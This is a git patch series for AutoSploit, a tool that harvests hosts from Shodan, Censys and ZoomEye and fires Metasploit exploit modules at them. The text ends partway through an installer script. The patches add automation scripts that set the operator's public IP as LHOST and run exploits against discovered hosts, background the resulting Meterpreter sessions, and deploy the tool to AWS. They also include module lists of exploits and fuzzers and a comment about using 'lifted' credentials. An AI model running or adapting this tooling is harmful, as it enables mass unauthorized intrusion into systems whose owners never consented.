From 8277b0edb5cd743f8fc5a0b2b4748b65ca77e9e3 Mon Sep 17 00:00:00 2001 From: Sebastien Lorrain Date: Mon, 9 Apr 2018 11:15:33 -0400 Subject: [PATCH 01/23] Autosploit automation (#132) * API keys token file reading error fix When reading an API key file, tokens are not stripped properly. Non-standard endlines causes an error with shodan/censys/etc APIs * Added a dry-run flag. When running without the terminal and the --dry-run flag, msfconsole will not be run. A report will still be produced. * Sanitized whitelist comparision with host file. All leading and trailing whitespaces should be removed before comparing IPs * Added an --exploit-file-to-use option. Load exploits directly from the specified file, do not prompt for exploit-file selection if this option is specified. * Added --append/--overwrite to search engines. Specifying either will skip the prompt after a search query. --overwrite will start with a blank file but will append futher searches ex: with -s -c --overwrite, both shodan and censys results will be appended to a clean file. * Search all fix for append/overwrite flags. Search results is not prompted anymore * Modified the Exploiter output. Added a tally at the end. Suppressed much of the output during a dry-run. * Bugfix, --exploit-file-to-use Output an error message to the console if the specified exploit file does not exists. * Added short arguments for --append/--overwrite * Closing program if invalid file is passed to --exploit-file-to-use --- api_calls/censys.py | 5 ++-- api_calls/shodan.py | 5 ++-- api_calls/zoomeye.py | 5 ++-- autosploit/main.py | 18 ++++++++++++--- lib/cmdline/cmd.py | 41 +++++++++++++++++++++++++++------ lib/exploitation/exploiter.py | 43 +++++++++++++++++++++++++++++------ lib/jsonize.py | 21 +++++++++++++++++ lib/settings.py | 35 +++++++++++++++++++--------- 8 files changed, 139 insertions(+), 34 deletions(-) diff --git a/api_calls/censys.py b/api_calls/censys.py index 390927d..2a91842 100644 --- a/api_calls/censys.py +++ b/api_calls/censys.py @@ -15,13 +15,14 @@ class CensysAPIHook(object): Censys API hook """ - def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.id = identity self.token = token self.query = query self.proxy = proxy self.user_agent = agent self.host_file = HOST_FILE + self.save_mode = save_mode def censys(self): """ @@ -38,7 +39,7 @@ def censys(self): json_data = req.json() for item in json_data["results"]: discovered_censys_hosts.add(str(item["ip"])) - write_to_file(discovered_censys_hosts, self.host_file) + write_to_file(discovered_censys_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) \ No newline at end of file diff --git a/api_calls/shodan.py b/api_calls/shodan.py index 33a9277..ff8b68f 100644 --- a/api_calls/shodan.py +++ b/api_calls/shodan.py @@ -17,12 +17,13 @@ class ShodanAPIHook(object): Shodan API hook, saves us from having to install another dependency """ - def __init__(self, token=None, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.token = token self.query = query self.proxy = proxy self.user_agent = agent self.host_file = HOST_FILE + self.save_mode = save_mode def shodan(self): """ @@ -38,7 +39,7 @@ def shodan(self): json_data = json.loads(req.content) for match in json_data["matches"]: discovered_shodan_hosts.add(match["ip_str"]) - write_to_file(discovered_shodan_hosts, self.host_file) + write_to_file(discovered_shodan_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) diff --git a/api_calls/zoomeye.py b/api_calls/zoomeye.py index baf4ccf..eea3b01 100644 --- a/api_calls/zoomeye.py +++ b/api_calls/zoomeye.py @@ -20,13 +20,14 @@ class ZoomEyeAPIHook(object): so we're going to use some 'lifted' credentials to login for us """ - def __init__(self, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.query = query self.host_file = HOST_FILE self.proxy = proxy self.user_agent = agent self.user_file = "{}/etc/text_files/users.lst".format(os.getcwd()) self.pass_file = "{}/etc/text_files/passes.lst".format(os.getcwd()) + self.save_mode = save_mode @staticmethod def __decode(filepath): @@ -81,7 +82,7 @@ def zoomeye(self): discovered_zoomeye_hosts.add(ip) else: discovered_zoomeye_hosts.add(str(item["ip"][0])) - write_to_file(discovered_zoomeye_hosts, self.host_file) + write_to_file(discovered_zoomeye_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) diff --git a/autosploit/main.py b/autosploit/main.py index e3838ce..2e95f67 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -19,7 +19,10 @@ EXPLOIT_FILES_PATH, START_SERVICES_PATH ) -from lib.jsonize import load_exploits +from lib.jsonize import ( + load_exploits, + load_exploit_file +) def main(): @@ -73,8 +76,17 @@ def main(): info("attempting to load API keys") loaded_tokens = load_api_keys() AutoSploitParser().parse_provided(opts) - misc_info("checking if there are multiple exploit files") - loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + + loaded_exploits = [] + if not opts.exploitFile: + misc_info("checking if there are multiple exploit files") + loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + else: + loaded_exploits = load_exploit_file(opts.exploitFile) + misc_info("Loaded {} exploits from {}.".format( + len(loaded_exploits), + opts.exploitFile)) + AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) else: warning("no arguments have been parsed, defaulting to terminal session. press 99 to quit and help to get help") diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 55425a2..f662d85 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -41,6 +41,11 @@ def optparser(): help="use shodan.io as the search engine to gather hosts") se.add_argument("-a", "--all", action="store_true", dest="searchAll", help="search all available search engines to gather hosts") + save_results_args = se.add_mutually_exclusive_group(required=False) + save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", + help="When specified, start from scratch by overwriting the host file with new search results.") + save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", + help="When specified, append discovered hosts to the host file.") req = parser.add_argument_group("requests", "arguments to edit your requests") req.add_argument("--proxy", metavar="PROTO://IP:PORT", dest="proxyConfig", @@ -59,6 +64,10 @@ def optparser(): help="set the configuration for MSF (IE -C default 127.0.0.1 8080)") exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", help="start exploiting the already gathered hosts") + exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", + help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") + exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", + help="Run AutoSploit with provided exploit JSON file.") misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", @@ -134,32 +143,49 @@ def single_run_args(opt, keys, loaded_modules): lib.output.error("caught IOError '{}' check the file path and try again".format(str(e))) sys.exit(0) + search_save_mode = None + if opt.overwriteHosts: + # Create a new empty file, overwriting the previous one. + # Set the mode to append afterwards + # This way, successive searches will start clean without + # overriding each others. + open(lib.settings.HOST_FILE, mode="w").close() + search_save_mode = "a" + elif opt.appendHosts: + search_save_mode = "a" + if opt.searchCensys: lib.output.info(single_search_msg.format("Censys")) api_searches[2]( keys["censys"][1], keys["censys"][0], - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).censys() if opt.searchZoomeye: lib.output.info(single_search_msg.format("Zoomeye")) api_searches[0]( - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).zoomeye() if opt.searchShodan: lib.output.info(single_search_msg.format("Shodan")) api_searches[1]( - keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).shodan() if opt.searchAll: lib.output.info("searching all search engines in order") api_searches[0]( - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).zoomeye() api_searches[1]( - keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).shodan() api_searches[2]( - keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).censys() if opt.startExploit: hosts = open(lib.settings.HOST_FILE).readlines() @@ -170,5 +196,6 @@ def single_run_args(opt, keys, loaded_modules): loaded_modules, hosts, ruby_exec=opt.rubyExecutableNeeded, - msf_path=opt.pathToFramework + msf_path=opt.pathToFramework, + dryRun=opt.dryRun ).start_exploit() diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 7836e92..97e3e6e 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -15,7 +15,7 @@ def whitelist_wash(hosts, whitelist_file): """ remove IPs from hosts list that do not appear in WHITELIST_FILE """ - whitelist_hosts = open(whitelist_file).readlines() + whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) washed_hosts = [] #return supplied hosts if whitelist file is empty @@ -23,11 +23,12 @@ def whitelist_wash(hosts, whitelist_file): return hosts else: for host in hosts: - if host in whitelist_hosts: + if host.strip() in whitelist_hosts: washed_hosts.append(host) return washed_hosts + class AutoSploitExploiter(object): sorted_modules = [] @@ -41,6 +42,7 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.single = kwargs.get("single", None) self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) + self.dry_run = kwargs.get("dryRun", False) def view_sorted(self): """ @@ -82,16 +84,24 @@ def start_exploit(self): "Failure Logs", "All Logs"]) + lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) + lib.output.info("{}".format((linesep+"\t").join(self.hosts))) + + win_total = 0 + fail_total = 0 + for host in self.hosts: current_host_path = path.join(current_run_path, host.strip()) makedirs(current_host_path) for mod in self.mods: - lib.output.info( - "launching exploit '{}' against host '{}'".format( - mod.strip(), host.strip() + if not self.dry_run: + lib.output.info( + "launching exploit '{}' against host '{}'".format( + mod.strip(), host.strip() + ) ) - ) + cmd_template = ( "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" ) @@ -141,13 +151,18 @@ def start_exploit(self): rc_script_path=current_rc_script_path ) - output = lib.settings.cmdline(cmd) + output = [""] + if not self.dry_run: + output = lib.settings.cmdline(cmd) ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]) msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)]) msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)]) + win_total += len(msf_wins) + fail_total += len(msf_fails) + csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) csv_file.writerow([rhost, today_printable, @@ -157,3 +172,17 @@ def start_exploit(self): msf_wins, msf_fails, msf_output_lines]) + + print() + lib.output.info("********RESULTS**********") + + if self.dry_run: + lib.output.info("\tDRY RUN!") + lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) + else: + lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts))) + lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) + lib.output.info("\t{} exploit failed.".format(fail_total)) + + lib.output.info("\tExploit run saved to {}".format(str(current_run_path))) + lib.output.info("\tReport saved to {}".format(str(report_path))) diff --git a/lib/jsonize.py b/lib/jsonize.py index c32cdca..11d65e8 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -20,6 +20,27 @@ def random_file_name(acceptable=string.ascii_letters, length=7): return ''.join(list(retval)) +def load_exploit_file(path, node="exploits"): + """ + load exploits from a given file + """ + + selected_file_path = path + + retval = [] + try: + with open(selected_file_path) as exploit_file: + # loading it like this has been known to cause Unicode issues later on down + # the road + _json = json.loads(exploit_file.read()) + for item in _json[node]: + # so we'll reload it into a ascii string before we save it into the file + retval.append(str(item)) + except IOError as e: + lib.settings.close(e) + return retval + + def load_exploits(path, node="exploits"): """ load exploits from a given path, depending on how many files are loaded into diff --git a/lib/settings.py b/lib/settings.py index 2baac3a..2fce057 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -108,20 +108,33 @@ def check_services(service_name): return True - -def write_to_file(data_to_write, filename, mode="a+"): +def write_to_file(data_to_write, filename, mode=None): """ write data to a specified file, if it exists, ask to overwrite """ global stop_animation if os.path.exists(filename): - stop_animation = True - is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") - if is_append == "o": - mode = "w" - elif is_append != "a": - lib.output.warning("invalid input provided ('{}'), appending to file".format(is_append)) + if not mode: + stop_animation = True + is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") + if is_append.lower() == "o": + mode = "w" + elif is_append.lower() == "a": + mode = "a+" + else: + lib.output.error("invalid input provided ('{}'), appending to file".format(is_append)) + lib.output.error("Search results NOT SAVED!") + + if mode == "w": + lib.output.warning("Overwriting to {}".format(filename)) + if mode == "a": + lib.output.info("Appending to {}".format(filename)) + + else: + # File does not exists, mode does not matter + mode = "w" + with open(filename, mode) as log: if isinstance(data_to_write, (tuple, set, list)): for item in list(data_to_write): @@ -132,7 +145,7 @@ def write_to_file(data_to_write, filename, mode="a+"): return filename -def load_api_keys(path="{}/etc/tokens".format(CUR_DIR)): +def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): """ load the API keys from their .key files @@ -156,8 +169,8 @@ def load_api_keys(path="{}/etc/tokens".format(CUR_DIR)): else: lib.output.info("{} API token loaded from {}".format(key.title(), API_KEYS[key][0])) api_tokens = { - "censys": (open(API_KEYS["censys"][0]).read(), open(API_KEYS["censys"][1]).read()), - "shodan": (open(API_KEYS["shodan"][0]).read(), ) + "censys": (open(API_KEYS["censys"][0]).read().rstrip(), open(API_KEYS["censys"][1]).read().rstrip()), + "shodan": (open(API_KEYS["shodan"][0]).read().rstrip(), ) } return api_tokens From 4506271af09fe150f78aa3a163b65ea5d32845d5 Mon Sep 17 00:00:00 2001 From: Sebastien Lorrain Date: Mon, 9 Apr 2018 20:36:55 -0400 Subject: [PATCH 02/23] PR #133 cleaned - Autosploit Automation (#134) * Scripts to automate autosploit. ./dryrun_autosploit.sh will search censys/shodan/etc and do a dry-run against discovered hosts that are in the whitelist. VALIDATE THE DRYRUN REPORT BEFORE LAUNCHING THE ACTUAL EXPLOIT RUN ./run_autosploit.sh will run autosploit in exploit mode against previously discovered hosts in the whitelist. * Removed blocking MSF modules from default module list. Added a fuzzers-only json file. In the same idea, Trans2open exploits are taking about 2h+ per host to run. Maybe implement a "long run" feature in the next release? * Added a vagrant config to easily deploy autosploit to aws-lightsail. COMES WITHOUT WARRANTY. Use as a starting point. Tweaks to make it usable for dev: - Setup a synced folder with your autosploit dev in the Vagrantfile Refer to vagrant doc. - Use vagrant rsync-auto Since vagrant file cannot really be shared as-is, some tweakings might be necessary. Try: -Modifying the Vagrantfile according to your ssh keys path -Installing the aws-cli pacakge -Configuring ~/.aws directory * Bugfix and improvements: Successful exploits will start meterpreter in background. Fixed counter for successful exploits/failed exploits bug, counting success/failure occurence, not line outputs. Success/failures now grepping escaped MSF output for success/failures. Grepping for keywords such as "Meterpreter", "Session" for success. --- Vagrant/Vagrantfile | 28 ++++++++++++++++++++++++++++ Vagrant/bootstrap/bootstrap.sh | 20 ++++++++++++++++++++ dryrun_autosploit.sh | 28 ++++++++++++++++++++++++++++ etc/json/default_modules.json | 23 +---------------------- etc/json/fuzzers.json | 25 +++++++++++++++++++++++++ lib/exploitation/exploiter.py | 25 ++++++++++++++++--------- run_autosploit.sh | 16 ++++++++++++++++ 7 files changed, 134 insertions(+), 31 deletions(-) create mode 100644 Vagrant/Vagrantfile create mode 100644 Vagrant/bootstrap/bootstrap.sh create mode 100644 dryrun_autosploit.sh create mode 100644 etc/json/fuzzers.json create mode 100644 run_autosploit.sh diff --git a/Vagrant/Vagrantfile b/Vagrant/Vagrantfile new file mode 100644 index 0000000..c427e3a --- /dev/null +++ b/Vagrant/Vagrantfile @@ -0,0 +1,28 @@ +# Use as a strating point to spin up a box in lightsail. +# the vagrant-lightsail plugin is required +# You probably also need to: +# - Configure the ssh keys path +# - Install and configure the aws-cli package + +Vagrant.configure('2') do |config| + config.vm.synced_folder ".", "/vagrant", type: "rsync", + rsync__exclude: ".git/", + rsync__auto: true + + config.ssh.private_key_path = '/path/to/id_rsa' + config.ssh.username = 'ubuntu' + config.vm.box = 'lightsail' + config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box' + config.vm.hostname = 'autosploit-launcher' + + config.vm.provider :lightsail do |provider, override| + provider.port_info = [{ from_port: 0, to_port: 65535, protocol: + 'all' }] + provider.keypair_name = 'id_rsa' + provider.bundle_id = 'small_1_0' + end + + config.vm.provision "bootstrap", type: "shell", run: "once" do |s| + s.path = "./bootstrap/bootstrap.sh" + end +end diff --git a/Vagrant/bootstrap/bootstrap.sh b/Vagrant/bootstrap/bootstrap.sh new file mode 100644 index 0000000..5f0a31a --- /dev/null +++ b/Vagrant/bootstrap/bootstrap.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash + + +echo "Yolosploit configurator 2.42" +sudo apt-get --yes update +sudo apt-get --yes upgrade + +echo "Installing metasploit. BE PATIENT (5 min max?)" +wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run +chmod +x metasploit-latest-linux-x64-installer.run +sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended + +echo "Installing pyhton2" +sudo apt-get --yes install python python-pip python-virtualenv git + +sudo apt-get --yes install fish +sudo chsh -s /usr/bin/fish ubuntu + +cd ~ +git clone https://github.com/NullArray/AutoSploit diff --git a/dryrun_autosploit.sh b/dryrun_autosploit.sh new file mode 100644 index 0000000..28f126a --- /dev/null +++ b/dryrun_autosploit.sh @@ -0,0 +1,28 @@ +#!/usr/bin/env bash + + +if [[ $# -lt 2 ]]; then + echo "Syntax:" + echo -e "\t./dryrun_autosploit.sh " + exit 1 +fi + +WHITELIST=$1 +SEARCH_QUERY=$2 +LPORT=4444 + +LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` +TIMESTAMP=`date +%s` + + +echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \ + --whitelist $WHITELIST -e \ + -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \ + --exploit-file-to-use etc/json/default_modules.json \ + --dry-run" + +python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \ + --whitelist $WHITELIST -e \ + -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \ + --exploit-file-to-use etc/json/default_modules.json \ + --dry-run diff --git a/etc/json/default_modules.json b/etc/json/default_modules.json index f30a51b..f0e5a65 100644 --- a/etc/json/default_modules.json +++ b/etc/json/default_modules.json @@ -263,27 +263,6 @@ "exploit/windows/smb/ipass_pipe_exec", "exploit/windows/smb/smb_relay", "auxiliary/sqli/oracle/jvm_os_code_10g", - "auxiliary/sqli/oracle/jvm_os_code_11g", - "auxiliary/fuzzers/dns/dns_fuzzer", - "auxiliary/fuzzers/ftp/client_ftp", - "auxiliary/fuzzers/ftp/ftp_pre_post", - "auxiliary/fuzzers/http/http_form_field", - "auxiliary/fuzzers/http/http_get_uri_long", - "auxiliary/fuzzers/http/http_get_uri_strings", - "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", - "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", - "auxiliary/fuzzers/smb/smb_create_pipe", - "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", - "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", - "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", - "auxiliary/fuzzers/smb/smb_tree_connect", - "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", - "auxiliary/fuzzers/smtp/smtp_fuzzer", - "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", - "auxiliary/fuzzers/ssh/ssh_version_15", - "auxiliary/fuzzers/ssh/ssh_version_2", - "auxiliary/fuzzers/ssh/ssh_version_corrupt", - "auxiliary/fuzzers/tds/tds_login_corrupt", - "auxiliary/fuzzers/tds/tds_login_username" + "auxiliary/sqli/oracle/jvm_os_code_11g" ] } diff --git a/etc/json/fuzzers.json b/etc/json/fuzzers.json new file mode 100644 index 0000000..b606973 --- /dev/null +++ b/etc/json/fuzzers.json @@ -0,0 +1,25 @@ +{ + "exploits": [ + "auxiliary/fuzzers/dns/dns_fuzzer", + "auxiliary/fuzzers/ftp/client_ftp", + "auxiliary/fuzzers/ftp/ftp_pre_post", + "auxiliary/fuzzers/http/http_form_field", + "auxiliary/fuzzers/http/http_get_uri_long", + "auxiliary/fuzzers/http/http_get_uri_strings", + "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", + "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", + "auxiliary/fuzzers/smb/smb_create_pipe", + "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", + "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", + "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", + "auxiliary/fuzzers/smb/smb_tree_connect", + "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", + "auxiliary/fuzzers/smtp/smtp_fuzzer", + "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", + "auxiliary/fuzzers/ssh/ssh_version_15", + "auxiliary/fuzzers/ssh/ssh_version_2", + "auxiliary/fuzzers/ssh/ssh_version_corrupt", + "auxiliary/fuzzers/tds/tds_login_corrupt", + "auxiliary/fuzzers/tds/tds_login_username" + ] +} diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 97e3e6e..3e31f26 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -121,7 +121,7 @@ def start_exploit(self): "setg threads 20\n" "set rhost {rhost}\n" "set rhosts {rhosts}\n" - "run\n" + "run -z\n" "exit\n" ) @@ -156,12 +156,19 @@ def start_exploit(self): output = lib.settings.cmdline(cmd) ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') - msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]) - msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)]) - msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)]) + msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] - win_total += len(msf_wins) - fail_total += len(msf_fails) + msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or + 'Meterpreter' in x or + 'Session' in x or + 'Sending stage' in x] + + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] + + if len(msf_wins): + win_total += 1 + if len(msf_fails): + fail_total += 1 csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) csv_file.writerow([rhost, @@ -169,9 +176,9 @@ def start_exploit(self): module_name, lhost, lport, - msf_wins, - msf_fails, - msf_output_lines]) + linesep.join(msf_wins), + linesep.join(msf_fails), + linesep.join(msf_output_lines)]) print() lib.output.info("********RESULTS**********") diff --git a/run_autosploit.sh b/run_autosploit.sh new file mode 100644 index 0000000..b573908 --- /dev/null +++ b/run_autosploit.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + + +if [[ $# -lt 2 ]]; then + echo "Syntax:" + echo -e "\t./run_autosploit.sh " + exit 1 +fi + +WHITELIST=$1 +LPORT=$2 + +LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` +TIMESTAMP=`date +%s` + +python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json From c389114e2c611d3f5a3f3986eccd0f65a82115bc Mon Sep 17 00:00:00 2001 From: Ekultek Date: Wed, 11 Apr 2018 09:06:31 -0500 Subject: [PATCH 03/23] renaming to match the default modules --- etc/json/{fuzzers.json => default_fuzzers.json} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename etc/json/{fuzzers.json => default_fuzzers.json} (100%) diff --git a/etc/json/fuzzers.json b/etc/json/default_fuzzers.json similarity index 100% rename from etc/json/fuzzers.json rename to etc/json/default_fuzzers.json From 98fd562378604e185b87e354b9994063318764ae Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:27:55 -0500 Subject: [PATCH 04/23] updating to match master --- CONTRIBUTING.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6a02d39..62b00a0 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -14,6 +14,7 @@ All contributions to AutoSploit are not only welcomed, but highly appreciated, p To get started making a contribution please do the following: +- Read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) - Fork the repository using the fork button - `git clone https://github.com//AutoSploit.git -b dev-beta` - Edit the code to your liking From a919e55dbf91c93509a02ca5e65231a9ad841c25 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:28:02 -0500 Subject: [PATCH 05/23] updating to match master --- README.md | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index e253c11..107d6af 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ The new version of AutoSploit has a feature that allows you to set a proxy befor - [Development](https://github.com/NullArray/AutoSploit#active-development) - [Discord server](https://discord.gg/9BeeZQk) - [README translations](https://github.com/NullArray/AutoSploit#translations) - + # Installation Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/tag/2.0). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; @@ -33,7 +33,8 @@ Installing AutoSploit is very simple, you can find the latest stable release [he sudo -s << EOF git clone https://github.com/NullArray/Autosploit.git cd AutoSploit -pip2 install -r requirements.txt +chmod +x install.sh +./install.sh python2 autosploit.py EOF ``` @@ -43,6 +44,9 @@ EOF ```bash sudo -s << EOF git clone https://github.com/NullArray/AutoSploit.git +cd AutoSploit +chmod +x install.sh +./installsh cd AutoSploit/Docker docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres @@ -72,7 +76,7 @@ As of version 2.0 AutoSploit can be started with a number of command line argume ``` usage: python autosploit.py -[c|z|s|a] -[q] QUERY - [-C] WORKSPACE LHOST LPORT [-e] + [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT @@ -116,10 +120,13 @@ misc arguments: this --msf-path MSF-PATH pass the path to your framework if it is not in your ENV PATH + --whitelist PATH only exploit hosts listed in the whitelist file ``` ## Installation +On any Linux system the following should work; + ```bash git clone https://github.com/NullArray/AutoSploit cd AutoSploit @@ -127,7 +134,24 @@ chmod +x install.sh ./install.sh ``` +If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + ## Dependencies +_Note_: All dependencies should be installed using the above installation method, however, if you find they are not: AutoSploit depends on the following Python2.7 modules. From 0a8f55210450526936862ab5d3439e4bb5123253 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:28:39 -0500 Subject: [PATCH 06/23] fixes a typo in an --- Vagrant/bootstrap/bootstrap.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Vagrant/bootstrap/bootstrap.sh b/Vagrant/bootstrap/bootstrap.sh index 5f0a31a..75e5f3e 100644 --- a/Vagrant/bootstrap/bootstrap.sh +++ b/Vagrant/bootstrap/bootstrap.sh @@ -1,6 +1,5 @@ #!/usr/bin/env bash - echo "Yolosploit configurator 2.42" sudo apt-get --yes update sudo apt-get --yes upgrade @@ -10,7 +9,7 @@ wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-li chmod +x metasploit-latest-linux-x64-installer.run sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended -echo "Installing pyhton2" +echo "Installing python2" sudo apt-get --yes install python python-pip python-virtualenv git sudo apt-get --yes install fish From d6bccb0a0a12c258b196da8f7f30b7d482e1856d Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:29:07 -0500 Subject: [PATCH 07/23] completely reworked the OSX installer. It will now install on OSX successfully --- install.sh | 48 ++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 42 insertions(+), 6 deletions(-) diff --git a/install.sh b/install.sh index 2d4b49c..a92582a 100755 --- a/install.sh +++ b/install.sh @@ -23,12 +23,48 @@ function installFedora () { } function installOSX () { - sudo /usr/sbin/apachectl start; - brew doctor; - brew update; - brew install postgresql; - brew services start postgresql; - installMSF; + xcode-select --install; + /usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"; + echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile; + source ~/.bash_profile; + brew tap homebrew/versions; + brew install nmap; + brew install 